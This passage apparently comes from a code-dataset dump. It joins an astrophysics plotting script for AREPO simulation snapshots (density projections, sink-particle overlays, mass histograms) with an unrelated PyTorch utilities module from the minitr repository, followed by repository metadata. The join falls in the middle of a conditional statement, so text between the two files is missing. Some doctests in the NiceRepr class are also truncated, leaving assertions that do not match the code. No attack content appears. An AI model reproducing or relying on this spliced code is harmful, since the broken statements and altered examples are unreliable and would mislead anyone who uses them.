labelsize=15,direction=\"in\")\n else:\n axs[0].set_xlabel('Cycles per box length',fontsize=20)\n axs[0].tick_params(axis=\"x\", labelsize=15,direction=\"in\")\n axs[0].set_ylabel(r'$P_v$',fontsize=20)\n axs[0].legend(loc='upper right',fontsize=10,frameon=False)\n return fig,axs\n \n \n \n\n'''||||||||||| IMAGES ||||||||||'''\n\ndef prep_image_line(dirname, file_numbers):\n rho={}\n for i in range(len(file_numbers)):\n print('reading '+dirname+'density_grid_'+file_numbers[i])\n rho_=read_cube(dirname+'density_grid_'+file_numbers[i])\n rho[i]=rho_\n return rho\n\ndef convert_sinkcoord_image(dirname,snap_no,imsize,imx1,imx2,imy1,imz1):\n '''function to convert the AREPO coordinates of sinks into the grid projection coordinates\n imsize is number of pixels per grid dimension\n imx1 and imx2 are the AREPO coords corresponding to the edges of the grids x dimension\n assumes the grid is a N**3 cube'''\n a=arepo_utils.aread(dirname+'snapshot_'+snap_no)\n X,Y,Z=a.sinkx-imx1,a.sinky-imy1,a.sinkz-imz1\n pixel=(imx2-imx1)/imsize\n x,y,z=(X/pixel).astype(int),(Y/pixel).astype(int),(Z/pixel).astype(int)\n f=open(dirname+'sink_coord_'+snap_no,'x')\n for i in range(len(np.asarray(x))):\n f.write(str(x[i])+' '+str(y[i])+' '+str(z[i])+' '+str(a.sinkmass[i])+'\\n')\n f.close()\n \ndef read_sink(dirname,sink_number):\n x=[]\n y=[]\n z=[]\n M=[]\n with open(dirname+'sink_coord_'+sink_number) as f:\n for line in f.readlines():\n x.append(float(line.split()[0]))\n y.append(float(line.split()[1]))\n z.append(float(line.split()[2]))\n M.append(float(line.split()[3]))\n \n return np.asarray(x),np.asarray(y),np.asarray(z),np.asarray(M)\n\ndef density_files(dirname):\n\t'''takes all files in directory and orders them based on order of ending 3 number string'''\n\tfiles=os.listdir(dirname)\n\tfiles_new=np.array([])\n\tnos=np.array([])\n\tnos_str=np.array([])\n\tfor i in range(len(files)):\n\t\tif 'density_grid' in files[i]:\n\t\t\tno=files[i][-3:]\n\t\t\tno_copy=files[i][-3:]\n\t\t\tif no[0]==0: #get rid of zeros e.g. '001' -> '1'\n\t\t\t\tno=no[1:]\n\t\t\t\tif no[0]==0:\n\t\t\t\t\tno=no[1:]\n\t\t\tno=int(no)\n\t\t\tnos=np.append(nos,no)\n\t\t\tnos_str=np.append(nos_str,no_copy)\n\targs=np.argsort(nos) #rearrange list\n\tfor i in range(len(args)):\n\t\tfiles_new=np.append(files_new,dirname+'/density_grid_'+nos_str[args[i]])\n\treturn files_new\n\n\ndef simple_grid(dirnames):\n\tfig = plt.figure(figsize=(5, 4))\n\tgrid = ImageGrid(fig, 111, # similar to subplot(111)\n\t\tnrows_ncols=(5, 4), # creates 2x2 grid of axes\n\t\taxes_pad=0,\n\t\tcbar_mode=\"single\", # pad between axes in inch.\n\t\tcbar_size='3%'\n\t\t )\n\trhos=r'$\\rho_{sink}$=10$^{-10}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-9}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-8}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-7}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-6}$gcm$^{-3}$'\n\t#fig,ax=plt.subplots(ncols=4,nrows=5)\n\tfor i in range(len(dirnames)):\n\t\tfiles=density_files(dirnames[-1-i])\t\n\t\tfor j in range(len(files)):\n\t\t\tif i==4:\n\t\t\t\tgrid[-1-4*i-j].set_title(('0yr','100yr','200yr','400yr')[-1-j],fontsize=8)\n\t\t\tif j==3:\n\t\t\t\tgrid[-1-4*i-j].set_ylabel(rhos[-1-i],fontsize=8,rotation=75)\n\t\t\trho=read_cube(files[-1-j])\n\t\t\trho=rho*code_units.rho_cu\n\t\t\tno=files[-1-j][-3:]\n\t\t\tx,y,z,M=read_sink(dirnames[-1-i]+'/',no)\n\t\t\tif (i==0) & (j==0):\n\t\t\t\tprint(i,j)\n\t\t\t\tVmax=np.log10(np.sum(rho,1)/rho.shape[0]).max()\n\t\t\t\tVmin=np.log10(np.sum(rho,1)/rho.shape[0]).min()\n\t\t\t\tim=grid[-1-4*i-j].imshow(np.log10(np.sum(rho,1)/rho.shape[0]),vmax=Vmax,vmin=Vmin,cmap='bone')\n\t\t\telse:\n\t\t\t\tgrid[-1-4*i-j].imshow(np.log10(np.sum(rho,1)/rho.shape[0]),vmax=Vmax,vmin=Vmin,cmap='bone')\n\n\t\t\tgrid[-1-4*i-j].scatter(z,x,s=0.5,c='magenta')\n\n\t\t\tgrid[-1-4*i-j].set_xlim(0,500)\n\t\t\tgrid[-1-4*i-j].set_ylim(0,500)\n\t\t\tgrid[-1-4*i-j].set_yticks([])\n\t\t\tgrid[-1-4*i-j].set_xticks([])\n\tgrid[-4].text(0.2,0.1,'270AU',ha='center', va='center', transform=grid[-4].transAxes,fontsize=8,color='w')\n\tplt.subplots_adjust(hspace=0,wspace=-0.8)\n\tcbar=grid.cbar_axes[0].colorbar(im)\n\tcbar.ax.tick_params(labelsize=8)\n\tcbar.ax.set_ylabel(r'Log$_{10}$($\\rho$ [gcm$^{-3}$])', rotation=270,fontsize=8,labelpad=15)\n\ndef the_rest_grid(dirnames):\n\tfig = plt.figure(figsize=(2, 5))\n\tgrid = ImageGrid(fig, 111, # similar to subplot(111)\n\t\tnrows_ncols=(2, 5), # creates 2x2 grid of axes\n\t\taxes_pad=0,\n\t\tcbar_mode=\"single\", # pad between axes in inch.\n\t\tcbar_size='5%'\n\t\t )\n\textensions='/1e8/','/1e9/','/1e10','/1e11/','1e12/'\n\trhos=r'$\\rho_{sink}$=10$^{-10}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-9}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-8}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-7}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-6}$gcm$^{-3}$'\n\tfor i in range(len(dirnames)):\n\t\tfor j in range(len(rhos)):\n\t\t\tfiles=os.listdir(dirnames[-1-i]+extensions[-1-j])\n\t\t\tfor k in range(len(files)):\n\t\t\t\tif 'density_grid' in files[k]:\n\t\t\t\t\tname=files[k]\n\t\t\t\t\tprint(dirnames[-1-i]+extensions[-1-j]+'/' + name+' ' +str(-1-5*i-j))\n\t\t\t\n\t\t\t\t\n\t\t\tif j==4:\n\t\t\t\tgrid[-1-5*i-j].set_ylabel(('B ','C ')[-1-i],fontsize=10,rotation=0)\n\t\t\tif i==1:\n\t\t\t\tgrid[-1-5*i-j].set_title(rhos[-1-j],fontsize=10)\n\t\t\trho=read_cube(dirnames[-1-i]+extensions[-1-j]+'/' + name)\n\t\t\trho=rho*code_units.rho_cu\n\t\t\tno=name[-3:]\n\t\t\tx,y,z,M=read_sink(dirnames[-1-i]+extensions[-1-j]+'/',no)\n\t\t\tif (i==0) & (j==0):\n\t\t\t\tVmax=np.log10(np.sum(rho,2)/rho.shape[0]).max()\n\t\t\t\tVmin=np.log10(np.sum(rho,2)/rho.shape[0]).min()\n\t\t\t\tim=grid[-1-5*i-j].imshow(np.log10(np.sum(rho,2)/rho.shape[0]),vmax=Vmax,vmin=Vmin,cmap='bone')\n\t\t\telse:\n\t\t\t\tgrid[-1-5*i-j].imshow(np.log10(np.sum(rho,2)/rho.shape[0]),vmax=Vmax,vmin=Vmin,cmap='bone')\n\n\t\t\tgrid[-1-5*i-j].scatter(y,x,s=0.5,c='magenta')\n\t\t\tgrid[-1-5*i-j].set_xlim(0,500)\n\t\t\tgrid[-1-5*i-j].set_ylim(0,500)\n\t\t\tgrid[-1-5*i-j].set_yticks([])\n\t\t\tgrid[-1-5*i-j].set_xticks([])\n\tgrid[-5].text(0.2,0.1,'670AU',ha='center', va='center', transform=grid[-5].transAxes,fontsize=10,color='w')\n\tplt.subplots_adjust(hspace=0,wspace=-0.8)\n\tcbar=grid.cbar_axes[0].colorbar(im)\n\tcbar.ax.tick_params(labelsize=10)\n\tcbar.ax.set_ylabel(r'Log$_{10}$($\\rho$ [gcm$^{-3}$])', rotation=270,fontsize=10,labelpad=20)\n\n\n\ndef CoM(x,y,z,M):\n X=sum(x*M)/sum(M)\n Y=sum(y*M)/sum(M)\n Z=sum(z*M)/sum(M)\n return X,Y,Z\n\ndef grid_plot(dirnames,file_numbers,xlabels,ylabels):\n '''grid of images of dimensions [len(dirnames), len(filenames)]'''\n\n fig,axs=plt.subplots(int(len(dirnames)),int(len(file_numbers)))\n\n for i in range(len(dirnames)):\n rho=prep_image_line(dirnames[i],file_numbers)\n for j in range(len(file_numbers)):\n axs[i,j].axis(\"off\")\n axs[i,j].imshow(np.log10( np.sum(rho[j],2) / len(rho[j][:,0,0]) * code_units.rho_cu) )\n\n mid=np.where(rho[j]==rho[j].max())\n if len(mid[0])>1:\n axs[i,j].set_ylim(mid[0][0]-200,mid[0][0]+200)\n axs[i,j].set_xlim(mid[1][0]-200,mid[1][0]+200)\n else:\n axs[i,j].set_ylim(mid[0]-200,mid[0]+200)\n axs[i,j].set_xlim(mid[1]-200,mid[1]+200)\n\n\n axs[i,j].tick_params(axis=\"x\", labelsize=15)\n axs[i,j].tick_params(axis=\"y\", labelsize=15)\n if i==0:\n axs[0,j].set_title(xlabels[j],fontsize=15)\n if j==0:\n axs[i,0].set_ylabel(ylabels[i],fontsize=15)\n plt.subplots_adjust(wspace=-0.6, hspace=0)\n return fig,axs\n\n\ndef grid_with_sinks(dirnames,file_numbers,xlabels,ylabels):\n fig = plt.figure(figsize=(len(dirnames), len(file_numbers)))\n grid = ImageGrid(fig, 111, # similar to subplot(111)\n\t\tnrows_ncols=(5, 4), # creates 2x2 grid of axes\n\t\taxes_pad=0,\n\t\tcbar_mode=\"single\", # pad between axes in inch.\n\t\t ) \n for i in range(len(dirnames)):\n I=int(len(dirnames) - i -1)\n rho=prep_image_line(dirnames[I],file_numbers)\n for j in range(len(file_numbers)):\n J=int(len(file_numbers) - j -1)\n print(I*len(file_numbers)+J)\n grid[I*len(file_numbers)+J].set_yticks([])\n grid[I*len(file_numbers)+J].set_xticks([])\n if i==0:\n if j==0:\n vmin=(np.log10( np.sum(rho[J],2) / len(rho[J][:,0,0]) * code_units.rho_cu)).min()\n vmax=(np.log10( np.sum(rho[J],2) / len(rho[J][:,0,0]) * code_units.rho_cu)).max()\n #import the sinks\n x,y,z,M=read_sink(dirnames[I],file_numbers[J])\n mask=np.where((np.sqrt((y-500)**2+ (x-500)**2) <400))\n cx,cy,cz=CoM(x[mask],y[mask],z[mask],M[mask])\n\n data=np.log10( np.sum(rho[J],2) / len(rho[J][:,0,0]) * code_units.rho_cu)\n im=grid[I*len(file_numbers)+J].imshow(data[int(cx)-200:int(cx)+200,int(cy)-200:int(cy)+200],cmap='bone',vmin=vmin,vmax=vmax)\n\n mask=np.where((np.sqrt((y-cy)**2+ (x-cx)**2) <200))\n grid[I*len(file_numbers)+J].scatter(y[mask]-(cy-200),x[mask]-(cx-200),s=0.5,c='magenta')\n grid[I*len(file_numbers)+J].text(0.75,0.08,r'N$_{sink}$='+str(len(x)),ha='center', va='center', transform=grid[I*len(file_numbers)+J].transAxes,fontsize=5,color='w')\n\n grid[I*len(file_numbers)+J].tick_params(axis=\"x\", labelsize=5)\n grid[I*len(file_numbers)+J].tick_params(axis=\"y\", labelsize=5)\n if I==0:\n grid[I*len(file_numbers)+J].set_title(xlabels[J],fontsize=5)\n if J==0:\n grid[I*len(file_numbers)+J].set_ylabel(ylabels[I],fontsize=5,rotation=75)\n cbar=grid.cbar_axes[0].colorbar(im)\n cbar.ax.tick_params(labelsize=5)\n cbar.ax.set_ylabel(r'Log$_{10}$($\\rho$ [gcm$^{-3}$])', rotation=270,fontsize=5,labelpad=15)\n #plt.subplots_adjust(wspace=-0.735, hspace=0)\n return fig,axs\n \n\n\n\ndef duel_column(dirs,nos):\n '''graph for 2 rows of 3 panels, showing 3 resolution criteria performed for 2 sink creation densities'''\n fig = plt.figure(figsize=(3,2))\n grid = ImageGrid(fig, 111, # similar to subplot(111)\n nrows_ncols=(3, 2), # creates 2x2 grid of axes\n axes_pad=(0.2,0),\n cbar_mode=\"single\", \n cbar_pad=0\n )\n xlabels='8 cells','16 cells','32 cells'\n grid[0].set_title(r'$\\rho_{\\rm sink}$=10$^{-10}$gcm$^{-3}$'\n '\\n'\n r't=2500yrs',fontsize=10)\n grid[1].set_title(r'$\\rho_{\\rm sink}$=10$^{-7}$gcm$^{-3}$'\n '\\n'\n r't=350yrs',fontsize=10)\n for i in range(len(nos)):\n \n grid[i*2].set_ylabel(xlabels[i],fontsize=10)\n\n rho=read_cube(dirs[1]+'density_grid_'+nos[i])\n data=np.log10( np.sum(rho,2) / len(rho[:,0,0]) * code_units.rho_cu)\n x,y,z,M=read_sink(dirs[1],nos[i])\n mask=np.where((np.sqrt((y-500)**2+ (x-500)**2) <400))\n cx,cy,cz=CoM(x[mask],y[mask],z[mask],M[mask])\n cx,cy,cz=int(cx),int(cy),int(cz)\n if i==0:\n cx,cy,cz=600,600,600\n vmin,vmax=data.min(),data.max()\n im= grid[i*2+1].imshow(data[cx-400:cx+400,cy-400:cy+400],vmin=vmin,vmax=vmax,cmap='bone')\n mask=np.where((np.sqrt((y-cy)**2+ (x-cx)**2) <400))\n grid[i*2+1].scatter(y[mask]-(cy-400),x[mask]-(cx-400),s=0.5,c='magenta')\n grid[i*2+1].text(0.8,0.08,r'N$_{sink}$='+str(len(x)),ha='center', va='center', transform=grid[i*2+1].transAxes,fontsize=10,color='w')\n\n rho=read_cube(dirs[0]+'density_grid_'+nos[i])\n data=np.log10( np.sum(rho,2) / len(rho[:,0,0]) * code_units.rho_cu)\n x,y,z,M=read_sink(dirs[0],nos[i])\n mask=np.where((np.sqrt((y-500)**2+ (x-500)**2) <400))\n cx,cy,cz=CoM(x[mask],y[mask],z[mask],M[mask])\n cx,cy,cz=int(cx),int(cy),int(cz)\n if i==2:\n cx,cy,cz=500,500,500\n grid[i*2].imshow(data[cx-400:cx+400,cy-400:cy+400],vmin=vmin,vmax=vmax,cmap='bone')\n mask=np.where((np.sqrt((y-cy)**2+ (x-cx)**2) <400))\n grid[i*2].scatter(y[mask]-(cy-400),x[mask]-(cx-400),s=0.5,c='magenta')\n grid[i*2].set_xlim(0,800)\n grid[i*2].set_ylim(800,0)\n grid[i*2].text(0.8,0.08,r'N$_{sink}$='+str(len(x)),ha='center', va='center', transform=grid[i*2].transAxes,fontsize=10,color='w')\n\n grid[i*2].tick_params(axis=\"x\", labelsize=9)\n grid[i*2].tick_params(axis=\"y\", labelsize=9)\n grid[i*2].set_yticks([])\n grid[i*2].set_xticks([])\n\n grid[i].tick_params(axis=\"x\", labelsize=9)\n grid[i].tick_params(axis=\"y\", labelsize=9)\n grid[i].set_yticks([])\n grid[i].set_xticks([])\n\n\n cbar=grid.cbar_axes[0].colorbar(im)\n cbar.ax.tick_params(labelsize=9)\n cbar.ax.set_ylabel(r'Log$_{10}$($\\rho$ [gcm$^{-3}$])', rotation=270,fontsize=10,labelpad=20)\n\n\n\ndef IMF_col(dirs,snap,no_bins):\n fig,axs=plt.subplots(5,sharex=True)\n plt.subplots_adjust(wspace=0, hspace=0)\n axs[-1].set_xlabel(r'M [M$_{\\odot}$]',fontsize=11)\n axs[-1].tick_params(axis=\"x\", labelsize=10)\n axs[2].set_ylabel(r'N$_{\\rm M} $',fontsize=11,rotation=0)\n axs[2].yaxis.set_label_coords(-0.15,0.3)\n axs[1].yaxis.set_label_coords(-0.08, 0.1)\n #plt.ylabel( r'N$_{sink}$',fontsize=20)\n cs='b','g','r','cyan','Purple'\n rhos=r'$\\rho_{sink}$=10$^{-10}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-9}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-8}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-7}$gcm$^{-3}$',r'$\\rho_{sink}$=10$^{-6}$gcm$^{-3}$'\n for i in range(len(dirs)):\n a=arepo_utils.aread(dirs[i]+str(snap[i]))\n if i==0:\n max_sinkmass=a.sinkmass.max()*code_units.M_cu/ap.M_sun.cgs.value +1\n #min_sinkmass=a.sinkmass.min()*code_units.M_cu/ap.M_sun.cgs.value\n else:\n if a.sinkmass.max()>max_sinkmass:\n max_sinkmass=a.sinkmass.max()*code_units.M_cu/ap.M_sun.cgs.value\n #if a.sinkmass.min()= 1\n assert int(factor) == factor\n\n if factor == 1:\n return tensor\n\n h, w = tensor.size()[2:]\n tensor = F.pad(tensor, pad=(0, 1, 0, 1), mode=\"replicate\")\n oh = factor * h + 1\n ow = factor * w + 1\n tensor = F.interpolate(tensor, size=(oh, ow), mode=\"bilinear\", align_corners=True)\n tensor = F.pad(tensor, pad=(factor // 2, 0, factor // 2, 0), mode=\"replicate\")\n\n return tensor[:, :, : oh - 1, : ow - 1]\n\n\ndef compute_locations(h, w, stride, device):\n shifts_x = torch.arange(\n 0, w * stride, step=stride, dtype=torch.float32, device=device\n )\n shifts_y = torch.arange(\n 0, h * stride, step=stride, dtype=torch.float32, device=device\n )\n shift_y, shift_x = torch.meshgrid(shifts_y, shifts_x)\n shift_x = shift_x.reshape(-1)\n shift_y = shift_y.reshape(-1)\n locations = torch.stack((shift_x, shift_y), dim=1) + stride // 2 # (hw, 2)\n return locations\n\n\ndef compute_ious(pred, target):\n \"\"\"\n Args:\n pred: Nx4 predicted bounding boxes\n target: Nx4 target bounding boxes\n Both are in the form of FCOS prediction (l, t, r, b)\n \"\"\"\n pred_left = pred[:, 0]\n pred_top = pred[:, 1]\n pred_right = pred[:, 2]\n pred_bottom = pred[:, 3]\n\n target_left = target[:, 0]\n target_top = target[:, 1]\n target_right = target[:, 2]\n target_bottom = target[:, 3]\n\n target_aera = (target_left + target_right) * (target_top + target_bottom)\n pred_aera = (pred_left + pred_right) * (pred_top + pred_bottom)\n\n w_intersect = torch.min(pred_left, target_left) + torch.min(\n pred_right, target_right\n )\n h_intersect = torch.min(pred_bottom, target_bottom) + torch.min(\n pred_top, target_top\n )\n\n g_w_intersect = torch.max(pred_left, target_left) + torch.max(\n pred_right, target_right\n )\n g_h_intersect = torch.max(pred_bottom, target_bottom) + torch.max(\n pred_top, target_top\n )\n ac_uion = g_w_intersect * g_h_intersect\n\n area_intersect = w_intersect * h_intersect\n area_union = target_aera + pred_aera - area_intersect\n\n ious = (area_intersect + 1.0) / (area_union + 1.0)\n gious = ious - (ac_uion - area_union) / ac_uion\n\n return ious, gious\n\n\nclass Integral(nn.Module):\n \"\"\"A fixed layer for calculating integral result from distribution.\n This layer calculates the target location by :math: `sum{P(y_i) * y_i}`,\n P(y_i) denotes the softmax vector that represents the discrete distribution\n y_i denotes the discrete set, usually {0, 1, 2, ..., reg_max}\n Args:\n reg_max (int): The maximal value of the discrete set. Default: 16. You\n may want to reset it according to your new dataset or related\n settings.\n \"\"\"\n\n def __init__(self, reg_max=16):\n super(Integral, self).__init__()\n self.reg_max = reg_max\n self.register_buffer(\n \"project\", torch.linspace(0, self.reg_max, self.reg_max + 1)\n )\n\n def forward(self, x):\n \"\"\"Forward feature from the regression head to get integral result of\n bounding box location.\n Args:\n x (Tensor): Features of the regression head, shape (N, 4*(n+1)),\n n is self.reg_max.\n Returns:\n x (Tensor): Integral result of box locations, i.e., distance\n offsets from the box center in four directions, shape (N, 4).\n \"\"\"\n shape = x.size()\n x = F.softmax(x.reshape(*shape[:-1], 4, self.reg_max + 1), dim=-1)\n x = F.linear(x, self.project.type_as(x)).reshape(*shape[:-1], 4)\n return x\n\n\nclass Scale(nn.Module):\n \"\"\"\n A learnable scale parameter\n \"\"\"\n\n def __init__(self, scale=1.0):\n super(Scale, self).__init__()\n self.scale = nn.Parameter(torch.tensor(scale, dtype=torch.float))\n\n def forward(self, x):\n return x * self.scale\n\n\ndef reduce_mean(tensor):\n if not (dist.is_available() and dist.is_initialized()):\n return tensor\n tensor = tensor.clone()\n dist.all_reduce(tensor.true_divide(dist.get_world_size()), op=dist.ReduceOp.SUM)\n return tensor\n\n\ndef make_divisible(x, divisor):\n # Upward revision the value x to make it evenly divisible by the divisor.\n return math.ceil(x / divisor) * divisor\n\n\nif float(torchvision.__version__.split(\".\")[1]) < 7.0:\n from torchvision.ops import _new_empty_tensor\n from torchvision.ops.misc import _output_size\n\n\ndef is_dist_avail_and_initialized():\n if not dist.is_available():\n return False\n if not dist.is_initialized():\n return False\n return True\n\n\ndef get_world_size():\n if not is_dist_avail_and_initialized():\n return 1\n return dist.get_world_size()\n\n\ndef get_rank():\n if not is_dist_avail_and_initialized():\n return 0\n return dist.get_rank()\n\n\ndef is_main_process():\n return get_rank() == 0\n\n\nclass NestedTensor(object):\n def __init__(self, tensors, mask: Optional[Tensor]):\n self.tensors = tensors\n self.mask = mask\n self.image_sizes = [i.shape[1:] for i in self.tensors]\n\n def to(self, device):\n # type: (Device) -> NestedTensor # noqa\n cast_tensor = self.tensors.to(device)\n mask = self.mask\n if mask is not None:\n assert mask is not None\n cast_mask = mask.to(device)\n else:\n cast_mask = None\n return NestedTensor(cast_tensor, cast_mask)\n\n def decompose(self):\n return self.tensors, self.mask\n\n def __repr__(self):\n return str(self.tensors)\n\n\ndef _max_by_axis(the_list):\n # type: (List[List[int]]) -> List[int]\n maxes = the_list[0]\n for sublist in the_list[1:]:\n for index, item in enumerate(sublist):\n maxes[index] = max(maxes[index], item)\n return maxes\n\n\ndef nested_tensor_from_tensor_list(tensor_list: List[Tensor]):\n # TODO make this more general\n if tensor_list[0].ndim == 3:\n if torchvision._is_tracing():\n # nested_tensor_from_tensor_list() does not export well to ONNX\n # call _onnx_nested_tensor_from_tensor_list() instead\n # return _onnx_nested_tensor_from_tensor_list(tensor_list)\n return _onnx_nested_tensor_from_tensor_list_no_padding(tensor_list)\n\n # TODO make it support different-sized images\n max_size = _max_by_axis([list(img.shape) for img in tensor_list])\n # min_size = tuple(min(s) for s in zip(*[img.shape for img in tensor_list]))\n batch_shape = [len(tensor_list)] + max_size\n b, c, h, w = batch_shape\n dtype = tensor_list[0].dtype\n device = tensor_list[0].device\n tensor = torch.zeros(batch_shape, dtype=dtype, device=device)\n mask = torch.ones((b, h, w), dtype=torch.bool, device=device)\n for img, pad_img, m in zip(tensor_list, tensor, mask):\n pad_img[: img.shape[0], : img.shape[1], : img.shape[2]].copy_(img)\n m[: img.shape[1], : img.shape[2]] = False\n else:\n raise ValueError(\"not supported\")\n return NestedTensor(tensor, mask)\n\n\n# _onnx_nested_tensor_from_tensor_list() is an implementation of\n# nested_tensor_from_tensor_list() that is supported by ONNX tracing.\n@torch.jit.unused\ndef _onnx_nested_tensor_from_tensor_list(tensor_list: List[Tensor]) -> NestedTensor:\n max_size = []\n for i in range(tensor_list[0].dim()):\n max_size_i = torch.max(\n torch.stack([img.shape[i] for img in tensor_list]).to(torch.float32)\n ).to(torch.int64)\n max_size.append(max_size_i)\n max_size = tuple(max_size)\n\n # work around for\n # pad_img[: img.shape[0], : img.shape[1], : img.shape[2]].copy_(img)\n # m[: img.shape[1], :img.shape[2]] = False\n # which is not yet supported in onnx\n padded_imgs = []\n padded_masks = []\n for img in tensor_list:\n padding = [(s1 - s2) for s1, s2 in zip(max_size, tuple(img.shape))]\n padded_img = torch.nn.functional.pad(\n img, (0, padding[2], 0, padding[1], 0, padding[0])\n )\n padded_imgs.append(padded_img)\n\n m = torch.zeros_like(img[0], dtype=torch.int, device=img.device)\n padded_mask = torch.nn.functional.pad(\n m, (0, padding[2], 0, padding[1]), \"constant\", 1\n )\n padded_masks.append(padded_mask.to(torch.bool))\n\n tensor = torch.stack(padded_imgs)\n mask = torch.stack(padded_masks)\n\n return NestedTensor(tensor, mask=mask)\n\n\ndef nested_masks_from_list(tensor_list: List[Tensor], input_shape=None):\n if tensor_list[0].ndim == 3:\n dim_size = sum([img.shape[0] for img in tensor_list])\n if input_shape is None:\n max_size = _max_by_axis([list(img.shape[-2:]) for img in tensor_list])\n else:\n max_size = [input_shape[0], input_shape[1]]\n batch_shape = [dim_size] + max_size\n # b, h, w = batch_shape\n dtype = tensor_list[0].dtype\n device = tensor_list[0].device\n tensor = torch.zeros(batch_shape, dtype=dtype, device=device)\n mask = torch.zeros(batch_shape, dtype=torch.bool, device=device)\n idx = 0\n for img in tensor_list:\n c = img.shape[0]\n c_ = idx + c\n tensor[idx:c_, : img.shape[1], : img.shape[2]].copy_(img)\n mask[idx:c_, : img.shape[1], : img.shape[2]] = True\n idx = c_\n else:\n raise ValueError(\"not supported\")\n return NestedTensor(tensor, mask)\n\n\n@torch.jit.unused\ndef _onnx_nested_tensor_from_tensor_list_no_padding(\n tensor_list: List[Tensor],\n) -> NestedTensor:\n \"\"\"\n assume input tensor_list all tensor shape are same.\n \"\"\"\n # todo: assert all tensor shape are same in tensor_list\n imgs = torch.stack(tensor_list)\n # 2, 3, 512, 512 mask: 2, 512, 512\n masks = torch.zeros_like(imgs[:, 0, ...], dtype=torch.int, device=imgs.device)\n return NestedTensor(imgs, masks)\n\n\ndef interpolate(\n input, size=None, scale_factor=None, mode=\"nearest\", align_corners=None\n):\n # type: (Tensor, Optional[List[int]], Optional[float], str, Optional[bool]) -> Tensor\n \"\"\"\n Equivalent to nn.functional.interpolate, but with support for empty batch sizes.\n This will eventually be supported natively by PyTorch, and this\n class can go away.\n \"\"\"\n if float(torchvision.__version__.split(\".\")[1]) < 7.0:\n if input.numel() > 0:\n return torch.nn.functional.interpolate(\n input, size, scale_factor, mode, align_corners\n )\n\n output_shape = _output_size(2, input, size, scale_factor)\n output_shape = list(input.shape[:-2]) + list(output_shape)\n return _new_empty_tensor(input, output_shape)\n else:\n return torchvision.ops.misc.interpolate(\n input, size, scale_factor, mode, align_corners\n )\n\n\n@torch.no_grad()\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n if target.numel() == 0:\n return [torch.zeros([], device=output.device)]\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\ndef inverse_sigmoid(x, eps: float = 1e-5):\n x = x.clamp(min=0, max=1)\n x1 = x.clamp(min=eps)\n x2 = (1 - x).clamp(min=eps)\n return torch.log(x1 / x2)\n\n\ndef multi_apply(func, *args, **kwargs):\n pfunc = partial(func, **kwargs) if kwargs else func\n map_results = map(pfunc, *args)\n return tuple(map(list, zip(*map_results)))\n\n\nclass NiceRepr(object):\n \"\"\"Inherit from this class and define ``__nice__`` to \"nicely\" print your\n objects.\n\n Defines ``__str__`` and ``__repr__`` in terms of ``__nice__`` function\n Classes that inherit from :class:`NiceRepr` should redefine ``__nice__``.\n If the inheriting class has a ``__len__``, method then the default\n ``__nice__`` method will return its length.\n\n Example:\n >>> class Foo(NiceRepr):\n ... def __nice__(self):\n ... return 'info'\n >>> foo = Foo()\n >>> assert str(foo) == ''\n >>> assert repr(foo).startswith('>> class Bar(NiceRepr):\n ... pass\n >>> bar = Bar()\n >>> import pytest\n >>> with pytest.warns(None) as record:\n >>> assert 'object at' in str(bar)\n >>> assert 'object at' in repr(bar)\n\n Example:\n >>> class Baz(NiceRepr):\n ... def __len__(self):\n ... return 5\n >>> baz = Baz()\n >>> assert str(baz) == ''\n \"\"\"\n\n def __nice__(self):\n \"\"\"str: a \"nice\" summary string describing this module\"\"\"\n if hasattr(self, \"__len__\"):\n # It is a common pattern for objects to use __len__ in __nice__\n # As a convenience we define a default __nice__ for these objects\n return str(len(self))\n else:\n # In all other cases force the subclass to overload __nice__\n raise NotImplementedError(\n f\"Define the __nice__ method for {self.__class__!r}\"\n )\n\n def __repr__(self):\n \"\"\"str: the string of the module\"\"\"\n try:\n nice = self.__nice__()\n classname = self.__class__.__name__\n return f\"<{classname}({nice}) at {hex(id(self))}>\"\n except NotImplementedError as ex:\n warnings.warn(str(ex), category=RuntimeWarning)\n return object.__repr__(self)\n\n def __str__(self):\n \"\"\"str: the string of the module\"\"\"\n try:\n classname = self.__class__.__name__\n nice = self.__nice__()\n return f\"<{classname}({nice})>\"\n except NotImplementedError as ex:\n warnings.warn(str(ex), category=RuntimeWarning)\n return object.__repr__(self)\n\n\ndef reduce_loss(loss, reduction):\n reduction_enum = F._Reduction.get_enum(reduction)\n # none: 0, elementwise_mean:1, sum: 2\n if reduction_enum == 0:\n return loss\n elif reduction_enum == 1:\n return loss.mean()\n elif reduction_enum == 2:\n return loss.sum()\n\n\ndef weight_reduce_loss(loss, weight=None, reduction=\"mean\", avg_factor=None):\n # if weight is specified, apply element-wise weight\n if weight is not None:\n loss = loss * weight\n\n # if avg_factor is not specified, just reduce the loss\n if avg_factor is None:\n loss = reduce_loss(loss, reduction)\n else:\n # if reduction is mean, then average the loss by avg_factor\n if reduction == \"mean\":\n loss = loss.sum() / avg_factor\n # if reduction is 'none', then do nothing, otherwise raise an error\n elif reduction != \"none\":\n raise ValueError('avg_factor can not be used with reduction=\"sum\"')\n return loss\n\n\ndef weighted_loss(loss_func):\n @functools.wraps(loss_func)\n def wrapper(pred, target, weight=None, reduction=\"mean\", avg_factor=None, **kwargs):\n # get element-wise loss\n loss = loss_func(pred, target, **kwargs)\n loss = weight_reduce_loss(loss, weight, reduction, avg_factor)\n return loss\n\n return wrapper\n","repo_name":"lucasjinreal/minitr","sub_path":"minitr/utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":15990,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"25442838154","text":"# %%\nimport tensorflow as tf\nimport 